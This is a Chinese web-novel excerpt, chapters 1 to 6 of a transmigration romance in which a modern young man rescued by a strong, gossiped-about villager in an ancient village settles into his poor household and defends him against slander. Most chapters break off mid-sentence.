《夫郎家的小相公他超甜》 1. 第 1 章 《夫郎家的小相公他超甜》全本免费阅读 七月中旬的天气,正午时分,烈日炎炎。 大梨村的村民,若无急事,往常这个时辰,几乎无人进山。 但偏偏有那么一两个异类,不在家中避暑,倒反常的往上山跑去。 秦润跑的气喘吁吁,满头大汗,胸口在剧烈的起伏,一滴滴汗顺着鼻尖落下,旁的流进眼里的,尽数被他用手臂胡乱一擦。 “大哥……不跑……”秦润的身后,一个男孩追着他跑,嘴里不停喊着,“大哥……等我……大哥……” 男孩看秦润跑的太快,眼看要追不上了,顾不上脚上快要跑脱的鞋子,一个劲往前追,一个不慎,唰啦一声,男孩在满是细石的路面摔出些许远才堪堪停下。 “啊……呜呜呜呜……”这一摔,不得了,男孩的手心、膝盖、脸蛋全破了皮,站都站不起来,只能望着秦润逐渐变小背影哭喊着让哥哥回来。 旁的村民听到哭喊声,谁还睡得着啊,一个两个拿着蒲扇出门来看热闹。 “哎哟,听这声音,又是小秦家那二傻子哭了吧!这一天天的,不哭个十来回,一天怕是过不完了是吧,想睡个午觉怎么这么难?” “谁说不是呢,哭哭哭,怎么不上自个家哭去,非得跑这边哭?” “安哥儿他哥跑啥?大中午的,不看着弟弟往上山吃土去啊?”说话的李大花出门时正好看到秦润即将跑远的身影,不屑的憋憋嘴,看向趴跪在大路上的秦安,眼中尽是嫌弃,丝毫没有上前的扶人的打算。 后头出来的李婶别过脸呸的一声吐出一口痰,“我早说过,那么好看的男人,十里八村都找不出一个来,就他那相貌,谁愿意上门给秦润那个丑哥儿当相公?这会,人怕不是跑了吧,所以润哥儿追去了?” 原本在房中专心看书的李云飞听到动静,站起身,方想出去看看,听闻李婶的话,再联想最近几天村里的各种议论,当下,迈出去的脚一收,想了想,转身坐了回去。 得知秦润家出了事,秦氏族人的几个大婶携带着家中几个壮汉追了上来。 可惜他们慢了一步,这会,秦润已经跑的没影,独留哭的一把鼻涕一把泪的秦安坐在原地。 “安哥儿~”秦大娘见秦安哭的上气不接下气,小脸被晒得红扑扑的,这样的天气,真怕人给哭晕咯。 秦大娘三步并作两步跑上去,双手穿过秦安腋下将人扶起来,柔声哄道:“安哥儿,起来,不哭了,不哭了。” 秦安的哭声并未因秦氏族人的到来而停止,因为有秦大娘的关心,反而更委屈了,“大哥不要安哥儿了~呜呜呜~” 说着,秦安又哭了起来。 秦大娘本想安慰几句,待看到秦安脸蛋上渗血的伤,赶忙道:“哎哟,快,快回去,安哥儿脸上受伤了,快回去找大夫,可不要留疤了。” 小秦家已经有个嫁不出去的老哥儿了,安哥儿再破相,日后该如何是好? 大的嫁不出去,小的又破相,小秦家兄弟俩岂不是要被旁人笑话死? 李婶看热闹不嫌事大,秦安哭的正伤心,她还火上浇油,故意在秦大娘几个秦氏族人面前开口问道:“安哥儿,是不是你哥夫跑了呀?哎呀,当初我就说过了,就润哥儿那样的,人家哪会乖乖留下来当上门女婿,你们还不信,这会好了吧,把人治好了,人隔天就跑,哎呀呀,这下可真是亏大咯。” 秦大娘几个有心反驳,却不知该如何怼回去,谁叫李婶这个长舌妇说的都对呢。 这是怎么一回事呢? 故事还得从前几天说起。 几天前,秦润确实从山上背了个好看的男人回家,说是要把人留下来当相公。 秦大娘她们一开始听到这事,一个个都替秦润感到高兴,书上不是写了嘛,这救命之恩呐,应当以身相许。 有个男人当家,以后小秦家就有个能撑门楣的顶梁柱,润哥儿的日子也会好过一点。 可当他们看到被秦润背回来的男人的相貌后,便不这样想了。 这又是为什么呢? 还不是秦润“捡”回来的男人长的太过出众,太俊、太好看了,哪怕躺在床上,看起来病殃殃弱唧唧的,但其五官实在是太出彩了。 村里人,多数都是大字不识一个,要让他们说这男人有多好看,华丽的辞藻是说不出的。 只说他是十里八村少见的美男子,便可知道,这是多么高的一个评价。 倒不是说秦润缺了眼还是少了鼻子才会配不上这般好看的男人,实在是…… 秦大娘她们劝也劝过,说也说过,让秦润把人送到村长家里,真把外人,还是一个男人留在家里过夜,指不定明天村里就能传出什么流言蜚语来。 奈何秦润太倔,就认定了男人,要把男人留下来,谁劝都不听,“大娘,我要把他留下来,他是老天眷顾我,给我送来的。” 若不然,他怎么会在深山里遇上他呢? 对此,秦润深信不疑,不顾旁人劝说,花光家里的钱,请了大夫给男人看病。 男人,也就是许云帆,自醒来后,一开始见到他时,还震惊的差点跌下床,后来与他谈了好久,问了他很多事情。 面对许云帆的问题,秦润懂的,知道的,尽数告之,可许云帆越听眉头皱的越紧。 最后,许云帆像是生无可恋的,不可置信的将自己的双手翻来覆去的看了许多遍,这才长长的叹了一口气。 自许云帆这一问后便安静了几天,秦润以为他是身子虚,不想说话,今早出门干活回来,秦安站在门口,哭着告诉他,许云帆跑了,往山上跑了。 闻言,秦润顾不上其他,丢下肩膀上的锄头,跑出家门又丢下背后的背篓,急急忙忙往山上跑去,秦安看哥哥急切的模样,吓了一跳,傻傻的跟在后面追喊起来。 气喘吁吁爬到半山腰的许云帆完全不知道,因为他的“不告而别”,大梨村这会正热闹着呢。 有这种堪称“爆炸”性的谈资,谁还顾得上午睡啊! 一个个看热闹的看热闹,交头接耳窃窃私语的有,跑去关心安哥儿的,自然也有。 甚至有几个妇人坐在村口的槐树底下纳凉,就坐等着看秦润的笑话,一个个都在猜测,秦润能不能把男人给追回来。 追不回来,那就有的聊咯! 起码这事,她们可以说上半年咧! 2. 第 2 章 《夫郎家的小相公他超甜》全本免费阅读 秦父一走,独留两个年幼的哥儿与年迈的奶奶相依为命。 哪怕秦父尸体没了,秦润依旧为他办了丧,加上秦安看大夫的钱,小秦家田都卖了几亩。 秦父走时,秦润才十一岁,小小年纪,肩负家庭重担,上有哭瞎眼的年迈奶奶,下有烧傻的弟弟,全家生计全得靠他。 据说,秦父携家带口回到大梨村的路上,秦润不知何原因失去了前十年的记忆,什么活都不会干,后来还是因为家中清贫,一点点学起来的,至此更是撑起家中重担。 可想而知,秦润这些年,过的并不好,因为干活多,地里的重活,本就是汉子干的,可他家里除了一老两幼,哪来的汉子? 不种地下田,一家人吃什么? 秦润干活累,容易饿,饿了,自然不挑食,哪怕是吃野菜糊糊,他都吃的比旁人多两碗。 他知道的,身为哥儿,不该吃这么多,可不吃,半夜他会饿,饿到睡不着,翻来覆去的睡不着,哪怕一开始累的睡过去,最后还是会饿醒。 如此几天,秦润哪还有力气下地? 为了地里的收成,为了养家糊口,秦润不拘着自己了,有东西吃时,便尽量的吃。 正因为饿怕了,农闲时,他与其他大叔大伯去镇上找活干,有的时候,活不好找,他也不要银子,只要主家能管一顿饭,给吃饱就行。 按理来说,秦润干苦力活,吃不好,不应该长这么彪悍才对,但老天就跟他开玩笑似的,不仅长得好,还贼壮,比书生郎还要壮实。 这样的身材,明显不符合大晏朝对哥儿的审美。 为此,秦润十八岁了也没个媒婆上门,村里李氏、孙氏那边的人可不就看他们小秦家的笑话了嘛。 早年的时候,秦父可是出了名的相貌堂堂,十里六村出了名的俊,而许云帆比他更俊点,乃是十里八村少见的小仙男,比秦父多了两个村。 回村时,秦父那身气度,不是村里汉子能有的,怎么看秦父都不像普通的汉子,要用村里人的形容来说,那就是,秦父不像村里人,倒像那县太爷,周身自带官威,令人畏惧。 为此,村里人可不就怵他了么,后头秦父不在了,他们回想起来,深觉得丢脸,脸面尽失,可不就想在秦家两个哥儿身上找补回来。 她们觉得以前在秦父面前点头哈腰的憋屈,如今可以在秦润身上出了,每嘲讽他一句,整个人都舒坦了不少,干活都有力气了呢, 前两年,村里进了贼,因为秦润家没有汉子,哪怕家里穷,贼人也专门盯他们家。 那一夜,秦奶奶上了年纪,觉轻,半夜听到窸窸窣窣的声音,起来一看,发现家里遭了贼,秦润干活累,睡得沉,等他被秦安的惊叫声吓醒时,秦奶奶额上流血,倒在地上已经起不来了。 秦奶奶走的时候,嘱咐过秦润,说家里没个汉子做顶梁柱,他们两个哥儿,哪怕再壮实,终究不安全。 后来,小秦家又遭了几次贼,秦润才知道,秦奶奶说的不无道理。 原以为,他力气大,贼人不敢乱来,却不料,他们不仅敢,还经常光顾他们家。 家中几次进贼,还是半夜进贼,村里便开始起了各种流言。 说什么的都有。 哥儿再丑,那也是哥儿,被子一蒙,黑灯瞎火的,谁还看到你丑不丑呢?只要你是哥儿就成了。 小秦家的哥儿说不定早是烂鞋咯。 在古代,面对流言蜚语,不是你不在意,不上心,自认身正不怕影子歪便不会受到伤害的。 村里的一些老光棍,以及邻村的一些老光棍听闻这些流言,每每见到秦润时,目光不免炙热过头。 有五十多岁的老汉见秦润去上山砍柴时,故意拦在半路,说:“润哥儿,我这里有几斤糙米,后山那边玉米地,你去不去咧!” 这样的事,不少,秦润打了几次人,明明他没有错,因为下手不知轻重,有几次还得赔钱。 因为这种事多了,哪怕村里人知道,老光棍们给的东西,秦润不曾拿过,他也不曾答应过他们的要求,可那些看不上他的,对他抱有恶意的人照旧抹黑他。 秦润苦不堪言,辛辛苦苦存银子,想买个汉子回家,哪怕不替自己想,也得为秦安想,有个汉子在,看谁还敢欺负他们家,乱传他的言。 奈何镇上牙行卖的人不便宜,秦润去了不少次,有几次,被关在笼子里的汉子听到他的话,目露贪婪,一个个激动的自荐枕席。 经历的多了,秦润看人自有一套,这些人分明是想让他买下他们,等两人真成了,翻身做主还不是指日可待的事,到时候,身为哥儿,秦润还不是得乖乖听相公的话。 秦润一直没遇到满意的人,直到上山砍柴,因为不想在山脚被人骚扰,秦润每次砍柴会往深处去,那一天,他砍柴砍的正起劲,隐隐约约中,他听了一丝微弱的,似真似幻的求救声。 “救命……有没有人呐?” “救命啊!” 秦润不确定是不是真的有人在喊救命,每次他停下注意听时,又什么都听不到。 等他再继续砍时,那道虚弱到近似缥缈的声音再次传来,“救命啊……” 深山里头,乍然如此,跟闹鬼了似的。 三番几次后,秦润干脆不动了,静静注意听着。 原以为青天白日遇上鬼了,等秦润壮着胆子朝着声音传来方向找去,才发现,他不是遇上鬼了,而是见到小仙男了。 当时的许云帆虚弱的瘫坐在一个深坑里,扬起的俊容,以及因为见到人来,充满希翼的眼睛深深烙印在秦润心头。 陷阱里的小汉子真的太漂亮了,漂亮到秦润有片刻的恍惚失神,一度不知自己是不是出现了幻觉亦或者是看错了什么。 这真的是一个小汉子而不是什么山野精怪化身而成的小妖精吗? 不过比起山野精怪,秦润更偏向于,这人就是个小仙男。 秦润有些发愣的看着小仙男,这是一个太过漂亮的汉子,或许“漂亮”这个词都还不够准确。 小仙男不仅人长得好,一身气质更是不凡,哪怕此刻身上沾了些许泥泞落叶却依旧不减半分风华。 秦润隐隐的感觉到在自己丢失的那段记忆里,他以前也见过非 3. 第 3 章 《夫郎家的小相公他超甜》全本免费阅读 许云帆之前不是说过,他无处可去,想留下的吗? 后来,他说了那些话,这人便跑了。 看来,他真的被自己吓到了。 秦润对此感到异常的难堪,却还是不要脸的想再争取一下。 许云帆不知该如何回应。 以前追他的女人不少,上学那会,他的抽屉里,除了课本,剩下的都是情书。 隔三差五就有几个大胆的当面对他表白。 那时候,他都一一的礼貌拒绝了,可谓是干净利落,不给人留下任何幻想的余地。 这会,许云帆张了张嘴巴,却是一句拒绝的话说不出来。 如果他回不去,在这陌生之地,他该何去何从? 一旦回去,一个男人,一个哥儿同处一室,日后的绯言绯语肯定少不了,他还走得了吗? 除非…… 许云帆决定说清楚。 “秦润,我不是同性……”想到秦润兴许不知同性恋是什么意思,许云帆改口道:“我不喜欢男人,所以……”我们是不会有可能,有结果的。 后面的话尚来不及说出口,秦润急急忙忙,压下心中苦涩,不要脸的来了一句,“可我不是男人,我们是可以在一起的。” 秦润确实不是男人,他只是一个长的像男人的哥儿。 许云帆的话,无疑是在他心口上捅刀子,由许云帆这样的人,用温和的,却字字将人拒之千里之外的语气说出这样的话,秦润只觉得无地自容,丢脸至极,羞耻又难堪。 秦润两只手紧紧揪着衣服的下摆,低垂着脑袋,好像看不到许云帆那张俊逸出尘的脸,便有些许勇气说出一些直视对方便不敢说出口的羞耻话来,“许云帆,你跟我回去好不好?我有力气,我可以干很多活。” 许是意识到自己说的太笼统,秦润补充道:“我有一身的力气,上山能砍柴去卖,下地是个种地能手,会洗衣做饭,旁的哥儿会做的,能做的,我都会,他们不会的,做不到的,我也可以,我会赚钱给你花。只要你跟我回去,我以后养你一辈子。” 许云帆不说话,秦润的话,多少让他感到震惊。 这是让他回去吃软饭的意思? 他应该没理解错吧? 软一点的饭确实对胃好,可他身体健康,胃也是扛扛的好,完全不需要吃软饭啊! 让他一个大男人吃软饭,这……这怎么好意思嘛! “我知道,我长的像汉子,没有旁的哥儿身娇体弱,但我……” 秦润本想说,但我救了你一命,你可不可以留下来,转念一想,这样的话,未免有挟恩图的报意味,转而道:“你跟我回去吧。” 为了证实自己所言非虚,是真的力气大,秦润眼角余光发现身边杂草里横着一根有手臂粗的生木头,当即将其抽出来,膝盖一弯,直接把木头折断成两截。 许云帆瞳孔一震,屁股不禁往后挪了些距离,看着眼前身高体壮的秦润,再对比自己的小胳膊小腿,顿时领悟秦润此举的含义了。 这是在警告、恐吓他对吧? 肯定是了! 许云帆苦恼,“你……你就这么喜欢我?非我不可吗?你说,你看上我哪一点了?我可以改,我改还不行吗?” 秦润想都不想,“除了你不喜欢我这一点,你身上的哪一点我都喜欢。” 许云帆;“……” 妈的,长的太帅,太优秀,果然也是一种罪。 “你不能这样的你知道吧?抢回去的相公,他不喜欢你,你一辈子都不会幸福的,你倒不如把我送回去,也许我还有机会回去呢,拜托你帮帮我,可以吗?” 许云帆软和了语气,一般这种情况下,一般人看在他这张脸的份上,铁定是狠不下心拒绝,定会直接答应他的请求。 偏秦润就不是一般人,“你想回去?” “难道你不想回家吗?”许云帆当然想回去,在这里,吃不好,睡不好,要什么没什么,他一个有名有份的太子爷,到了这里成了黑户,听说没有那啥子户籍证明的,他哪都去不了。 回去吃香的喝辣的,难道它不香吗? 这几天,顿顿野菜团子,他喉咙估计都快刮伤了,脖子大概长了三厘米,可见这软饭也不一定好吃,想吃秦润的软饭,你还得有那个咽下去的本事。 秦润答应了,“好,我带你去,如果你回不去,就乖乖跟我回去好吗?” “嗯。”许云帆想,不跟秦润回去,难不成他还能在山上当美猴王? 最后,许云帆固执的在当初掉落的地方转了一圈又一圈,只拿到了随同他而来的皮箱外,什么惊喜都未发生。 “快傍晚了,再不回去天就黑了,我们还要转吗?”秦润看许云帆转了几十圈,眼都快看花了,这人还不停下。 许云帆死心了,果然是回不去了。 “走吧,咱们回去!”许云帆拉着皮箱,脚步顿住,对秦润认真的说道;“我不喜欢男人,也不喜欢哥儿,你让我回去就给你当相公,我真的不能接受。” “你也看出来了,我不是你们这的人,在我们那里,不像你们这里的父母之命,媒妁之言,我们都是自由恋爱,喜欢了,合得来了,才会在一起,我虽然不歧视同性……不是,我没喜欢过哥儿,你给我时间,我们慢慢相处,如果我……我会留下来,若我真的不能接受,我们在一起,不过是对彼此的折磨罢了,所以,你能明白我的意思吗?” 秦润低着头,许久不说话,好半晌才应了一声,“我知道了。” 许云帆终于松了一口气,“那我这箱子怎么办?直接拉回去,其他村民会不会发现什么?” “可以先留在山上吗?明日我再来偷偷的把它带回去。” “可以的。”许云帆找了个地方把皮箱藏起来,“我把它放在这里,你记得了?” 秦润点点头,“嗯,我记住地了,我们回去吧。” 回去的路上,许云帆憋着要回现代的那口气松了,整个人浑身发软,口干舌燥,一点力气也没有,“不行了,秦润,我们先休息一会可以么?太累了,我实 4. 第 4 章 《夫郎家的小相公他超甜》全本免费阅读 许云帆听出这道声音,这声音,在他“闭门不出”躺床上的那几天听的多了,这人,说秦润,说的也是最多的。 他不管秦润过去如何,以后如何,他只知道,现在秦润是他救命恩人,敢嘲讽他的恩人,那便是与他过不去。 许云帆的脾气说不上有多坏,但也没好到一点脾气都没有的地步。 旁人认为他脾气好,甚少发火,不过是因为没人敢惹他这个太子爷不快。 “这位大婶,你谁啊?” 李婶看着比哥儿长得还要俊俏的许云帆,笑得见眉不见眼,“我是李大牛家的,大家伙都叫我李婶,小公子,你是从何处来的,怎就被润哥儿带回家了?你不知道吗……” 李婶对秦润的不喜毫不掩饰,当着大家伙的面,不给秦润一点脸面,开始叭叭叭说起有关秦润的谣言。 秦润难堪的想把许云帆带回去,哪料许云帆不仅不走,反而低头在他耳边轻问,“这里的都是李氏族人?” 两人靠的很近,近到秦润能感受到许云帆身上散发出来的温热气息。 湿热的气息喷洒在耳边,那份因许云帆主动靠近而产生的悸动让秦润难以忽视,脊背下意识一僵。 秦润不习惯的缩了下脖子,摇摇头,“还有孙氏。” 大梨村说大不大,说小也不小,一百多户人家,古代一户人家,十几二十口人不在话下。 古有父母在不分家,为此,这里的村民,大多是一大家子住在一块。 大梨村很大,平时吃过晚饭,一些大娘大婶没事做就爱在村口这里乘凉,分享交流各自的所见所闻。 秦氏的人很少过来,毕竟,秦氏与李氏、孙氏关系不怎么融洽,其他人在还好,但凡有李婶,李大花这两朵喇叭花在,她们断是不愿过来的。 李大花看许云帆是越看越满意,这样的人,润哥儿哪配得上,“小公子,润哥儿与一般的哥儿可不一样,你在村里打听打听就知道了。” 婆媳俩的话就差没直说,秦润不像个哥儿,亦或者在间接告诉许云帆,秦润已经脏了,他就是一个被人玩过的脏哥儿。 这种黄谣无论发生在哪,都可以让一个哥儿社会性死亡,作为黄谣的主角,秦润没办法抓住每一个散播这些谣言的人,与旁人解释她们口中的事不过是子虚乌有,反而因为解释,他可能还会落个心虚的下场。 就如寡妇门前是非多,哪怕没做过,一个汉子从寡妇门里出来,在他人眼里,便断定他们定是做个什么见不得人的事。 听着,这话好像是为许云帆好,免他不受秦润的欺骗,可这种好,许云帆却承不起。 众口铄金,积非成是。 他不需要听别人怎么说,他有眼有脑,难不成不会自己判断自己看? 真当他傻了不成? 旁的人不说话,虽然三族人不和,但明面上,还是要维护好脸面,也就李婶、李大花家里有个童生,婆媳两底气硬,不怕秦氏人找上门讨公道了。 读书人,一般人敢得罪吗? 在大晏朝,家里有个童生身份的儿子/小叔,婆媳两人腰杆不知挺的多直,在村里自觉高人一等,哪里会怕事。 别人怕他李家,不代表许云帆会怕。 许云帆淡淡笑了起来,这一笑,端的是俊雅非凡,旁的年轻小妇人,直接看红脸,目光快移不开了。 “我看你们婆媳与其他女人也不一样。” 许云帆说着,面色一沉,故意道:“我看书上写,贤良淑德、秀外慧中、明辨是非,内贤外慧……皆是指赞美女子之言,但今日我所看到的女子,似乎不是这样的,像你们这样的,长的丑也就算了,哪来的贤哪来的慧又哪来的德?” “如果说,随意给一个哥儿扣上不贞不洁的罪名,这便是所谓的德,大庭广众之下不分对错,不知缘由便口无遮拦,这便是慧,那我可得上你们家与李童生请教请教,童生之家,其母其嫂就是这样的教养吗?” 许云帆乱扯一通,“按照我这么一说,莫不是,你们不是女人?若是女人,怎会与旁的女人不同?” 李婶与李大花张大了嘴,没想到,许云帆看似温和无害,嘴巴竟然这么毒,什么内贤外慧,她们听不懂,其他的,倒是听明白。 李婶面上挂不住,“你……” 话没说完呢,许云帆又道:“说,你继续说,赶明我就去找夫子问问是不是这么一回事,一个童生,家中人,整天没事只会东家长西家短,无凭无据,毁人清白,若秦润寻死,你们担得起这个责任?” “我……”李大花想说她们没有乱说,不是说苍蝇不叮无缝的蛋吗,秦润要是清清白白,能传出这种谣言来? 许云帆推开秦润扶着他的手,走了几步走到李婶面前,气势逼人道:“走,你家在哪?我找你们家童生问问他夫子住哪,改天我找他聊聊去。” 许云帆气势很足,加上一开始说的那些话,村里人听不懂,但听他那句‘我看书上写’这句话,心里一个咯噔,这人,莫不是也是个读书人? 不得了,不得了了。 许云帆这模样,怎么看都像大户人家培养出来的子弟,看看这通身高贵的气质,再看看这远胜农家子的脸蛋,白白净净,那双手,一看就知道不是干活的手。 这么一猜,李婶李大花总算怕了,哪还敢说什么,撒脚丫子就跑。 其他人见势不妙,一个个尴尬的朝许云帆笑了笑,跑了。 秦润心头暖乎乎的,许云帆替他出头了,不用动武,三言两语就把人吓跑,太厉害了。 难道,这就是读书人的厉害之处吗? 肯定是了,若不然,读书人地位也不会那么高,村里的李童生,不过只有一个童生的身份,平时都是拿鼻孔看人呢。 秦润眼睛亮晶晶的,凑上前好奇的问:“你认识李童生的夫子?” 直到问出口,秦润才发现自己问了个蠢问题。 许云帆对秦润招招手,示意人过来扶自己一把,本来就累,这会舌战两妇,更累了,“你傻了,我从哪里来的,你不是比谁都清楚吗?我 5. 第 5 章 《夫郎家的小相公他超甜》全本免费阅读 秦大娘拍手一笑,“哎哎哎,留下来好,许小子,你别听外边的人瞎说,我们润哥儿清清白白,一身的力气,什么活都能干,比其他哥儿好多了。” “嗯,他确实很好,旁人说的,我才不信。”更何况是那些长舌妇的话,许云帆笑着往厨房走,在水缸里舀子一瓢水,咕咚咕咚喝起来。 待他出来,秦奶奶她们已经走了。 “饿了吗?我马上去炒菜,很快就能吃晚饭了。”方才秦奶奶已经把饭煮好了,再煮一把青菜就能开饭。 “不急。”许云帆拍拍屋檐下摆放的长凳,“先休息吧,我都累了,你背我回来,不累才怪,晚饭不急着吃。” 明明是招呼的秦润,秦安也跟着坐下,挨在许云帆右手边,乖乖巧巧的,不说话,也不喊疼。 许云帆抓起安哥儿瘦小的手腕,见他掌心破皮的地方被一些像白棉花一样的白丝给遮着,好奇心上来,“这是什么?” “这是蜘蛛巢。”秦润见怪不怪,村里的房子,或多或少都会有一些蜘蛛,这些蜘蛛多是无毒的,而这些蜘蛛巢,家里小孩平时被割伤手了,老人都会找这些蜘蛛巢来止血。 许云帆啊的一声,表示大开眼界了,“这……这玩意没有细菌吗?” “细菌是什么?” 许云帆一噎,“没什么,就这样就行了?不用去找大夫看看?” 秦安一直安安静静的,这会突然大喊一声,“不用。” 他昨儿出门给秦奶奶家割猪草,李大宝说了,他们家穷的叮当响,许哥要是知道他们家没有银子,肯定要跑。 看大夫需要银子,他知道的。 许云帆在秦润这住了几天,自然知道小秦家有多穷。 今晚吃的是糙米饭,水煮白菜盐巴不够也就算了,看这汤,是一点油星都看不到。 以前许云帆下过乡,见村里人喂过猪,那猪食,就跟这盘菜差不多。 许云帆想起前几天吃的野菜团野菜汤,好像今晚的水煮白菜,确实算得上是“大餐”了。 秦润看许云帆拿着筷子,半天没下筷,顿时明白了,“你吃不下吗?要不你吃点垫肚子先,明早我再去镇上给你买肉吃。” 旁边的秦安一听有肉吃,眼睛瞪得又大又圆,好像现在就把肉吃上了似的,吧啦起碗里的糙米饭,大口大口吃了起来。 秦安伤了都不去看大夫,并非秦润舍不得在弟弟身上花银子,而是家中实在困难,之前为请大夫治许云帆的腿伤,家里哪还有一个铜板,秦润上哪找银子买肉去? 秦氏族人也不富裕,家家户户都有各自的难处,银子不是那么好借的。 在这个贫困的家庭里,他白吃白住白喝也就算了,哪还有脸闹着要吃肉,这不是让秦润为难嘛。 许云帆想到这,摇摇头,“不用,你们吃得了,我便吃得。” 他虽是京市太子爷,家里人对他宠爱有加,却不会把他养成衣来伸手,饭来张口的小少爷。 可以说,许云帆是名副其实的太子爷,却也是个接地气的五好青年。 许云帆夹起一筷子糙米饭放嘴里,嚼了又嚼,要不是看秦润兄弟两跟自己吃的是同一锅饭,许云帆真要怀疑,是不是他的味觉出了问题。 糙米饭的口感并不好,伸长脖子咽下去的时候,许云帆只觉得自己的喉咙被刮了一层,“我艹~” 许云帆吃了半碗后,实在吃不下去,从小到大,他就没吃过这些玩意。 在现代,有人说糙米的营养值比精米高,但许云帆要吃有营养的食物,用得着吃糙米? 简直是开玩笑!! 秦润看许云帆吃的艰难,原本饿狠的人,突然有些食不下咽,一连给许云帆夹了几筷子菜,“吃不下就别吃了,多吃点菜,等会我给你烤红薯吃成吗?” 许云帆这人,一看就是富家小少爷,这会吃半碗糙米像要他命似的,秦润对自己的猜测更是深信不疑。 “烤红薯?”许云帆当即点头,“好吃,那个好吃。” 以前他读大学的时候,一到冬天,校门口的小商贩便推着小车烤红薯卖,那味道,几米开外都能闻到味,可香了。 秦润见许云帆如此,总算松了一口气,“那我现在就去给你弄。” 趁现在厨房里的火星没灭,火星的温度又不至于太过,用来烤红薯正好合适。 村里人烤红薯没有那么多讲究,直接将红薯往灶台火塘里一扔,将带火星的火灰把红薯盖好,等半个小时左右,红薯也就烤好了。 许云帆不知道这个方法,只以为烤红薯就是把红薯架在木炭上烤,上下翻面,那样的话,岂不是耽误人家吃饭了,“不急,你先吃完饭了再给我烤。” “没事,我现在去,正好。”秦润匆匆放下放碗,去储物间里找出了几个红薯,随即往厨房里跑去。 许云帆脚不方便,没跟着去,目送秦润出了客厅便扭过头打量起客厅来。 小秦家的房子不算小,有四间房,正对院门口的是堂屋,平时用来待客吃饭用。 堂屋左边便是秦安、秦润、以及之前秦父秦母的房间,而右便则是秦奶奶的房间,如今成了柴房,再过去便是厨房。 这时候的房子,家家户户基本都会有一个院子,院子则专门用来种些时令蔬菜。 小秦家自然也不例外,今晚吃的小白菜便是自家院子种的,可惜长的不够好,稀稀疏疏小小的十几棵,吃几顿就没了。 不是秦润不勤快不会种菜,而是这些菜种,是他往年自己留的,家里遭贼后,秦润发现这包菜种被踩了几脚,有的菜种坏了,有的没坏,秦润舍不得丢,加上手上铜板不多,只好将就着种,以至于这包菜种洒下去,会长几棵,全靠运气。 许云帆叹了一口气,在秦润家住的这几天,他吃得最多的就是野菜粥,原以为那已经是最差的吃食了,却不想,等他去到厨房吃红薯时,看到米缸里见底的糙米,老鼠都不愿关顾的油罐后,他才知道,这个家庭究竟有多穷。 秦润很 6. 第 6 章 《夫郎家的小相公他超甜》全本免费阅读 “你不会觉得吃我吃剩下的饭,很恶……怪吗?”换作许云帆自己,绝对是吃不下的。 自有记忆开始,他就没吃过其他人吃剩下的东西,也许以后谈了恋爱,成了家,兴许他会跟其他男人一样,可以吃女朋友、老婆吃剩下的食物。 但秦润与自己目前的关系,许云帆不明白,秦润到底有没有把今天中午自己说的话放心上,还是说,他只是单纯的不想浪费粮食。 秦润闻言一愣,夹菜的手一顿,猛的缩了回来,继续将碗里的饭扒完,胡乱擦了几下嘴巴,“我吃饱了。” 避而不答的行为反而有种欲盖弥彰的味道。 许云帆不再多问,移开目光看向外头,免得两人尴尬。 秦安吃饱了,双脚一登,从凳子上下来,按照以往的习惯,收拾桌子,洗碗是他干的活。 今天他的手受伤了,连筷子都拿不利索,秦润便接过他手里的碗筷,“你手不方便沾水,这几天,我来洗碗吧。” “那个,”许云帆站起身伸出手,不好意思道:“要不我来洗吧。” 他一个手脚健全的人,总不能在这个贫困的家庭里当大爷吧,那样他会受到良心的谴责的。 秦润拿着碗筷的双手避开许云帆的手,“不用,这点活,我来干就好了。” 许云帆跟在秦润屁股后面,“秦润,你这样,我会过意不去的,在这个家里,我总不可能什么都不干吧,每天等着吃,等着你伺候我吧!” 许云帆扶额,“地里的话,我会做的不多,不像其他男人,会犁田耕地,其他忙我兴许帮不上你,但家务活,这种力所能及的事,我觉得我有义务,有必要跟你一起承担。” 哪怕许云帆没怎么做过家务活,但这不代表他不会。 他不像其他人,第一次洗碗都要摔碎几个,这种事就没发生在他的身上过。 他洗碗可是洗得很干净的,洗过的盘子,用手上面摩擦还能发出声音呢,一点油污不留。 以前家里的保姆阿姨就夸他洗碗有天赋来着。 但是许云帆忘了,这个时代,根本就没有洗洁精这种东西的存在。 秦润一看许云帆就觉得他像个十指不沾阳春水的少爷,加上自己说过的话,定不会让许云帆洗的,在他的思想观念里,男人就很少进厨房。 别的男人不会做的事,秦润自然不会给许云帆干,“就几个碗,我洗的很快的,热水也热了,你要不要洗个澡?我洗好碗了就给你打水。” 小秦家的澡房就在厨房后边用一块木板隔出来的大概有三平方的地方,这样洗澡的地方,在村里来说,已经算宽敞了,毕竟只是洗个澡,能站人就行,又不是在里边打拳。 不过这样的地方,相对于许云帆来说,就太小了。 入乡随俗,他不好说什么,见里边有个大桶,“是拿这个大桶打水吗?” 红薯还没烤好,倒是可以先洗个澡,干干净净的再吃甜甜糯糯的烤红薯,岂不是美滋滋。 在许云帆打量澡房的空当,秦润已经将水打好,许云帆赶忙快步,伸手抓住桶把,“我来。” 连洗澡水都让人提,这不是来吃软饭的,而是来当大少爷的吧。 也不知道,秦润究竟图个什么。 “你提的动吗?”许云帆身子骨清瘦,看起来高高瘦瘦的,秦润想,他一拳过去,兴许都能要人命。 许云帆脸一红,强硬道:“你看不起谁呢?我可是男人,一桶水而以。” 别看许云帆清瘦单薄,可人骨头缝里都是肌肉,好歹他也是经过特殊培训过的人。 他外公就是部队里的,从小对他的培训就很严格,散打、跆拳道,他有什么是不会的? 之所以清瘦,还不是他正在发育,胃口大,吃的多就是胖不起来。 提着满满一桶水,许云帆脸不红气不喘,“怎么洗?” 没有花洒,没有浴缸,也没有沐浴露洗发水,难不成一桶水泼头就是洗澡了? 这样洗,只怕过几天都能在身上搓出个伸腿瞪眼丸来。 秦润耐心教着,“你把水倒到大桶里,我给你加点冷水,”说着,将挂晒在木板上的一张毛巾放进大桶里,“这是之前给你用的毛巾,放心,是干净的,你可以用。” 想到前几天许云帆爱干净,央求他帮忙擦身子时,秦润红着脸补充道:“我们这里用的都是皂角,你爱干净,我给你找新的。” 胰子这些,也就只有有钱人家用的起了。 没有灯,村里的夜晚除了用油灯照明便是靠柴火。 油灯对村里人来说,也算是贵重物品,小秦家可用不起。 秦润摸黑去给许云帆找皂角,“你爱干净”这四个字,让靠在墙上等的许云帆,面上火辣辣的热,绯红一片。 之前他不知什么哥儿,因为身子出汗油腻太过难受,他脚上敷着药,不方便动,他便央求秦润帮他擦擦身子。 秦润一开始是震惊的,随即面红耳赤的拒绝了。 许云帆不知秦润为何说不方便,不可以给自己擦身子,当即道:“你不方便的话,那你可以帮我找其他人吗?我已经几天没洗澡了,就这个天气,我都能闻到身上的酸味了,再不擦一擦,只怕柠檬都没我酸。” 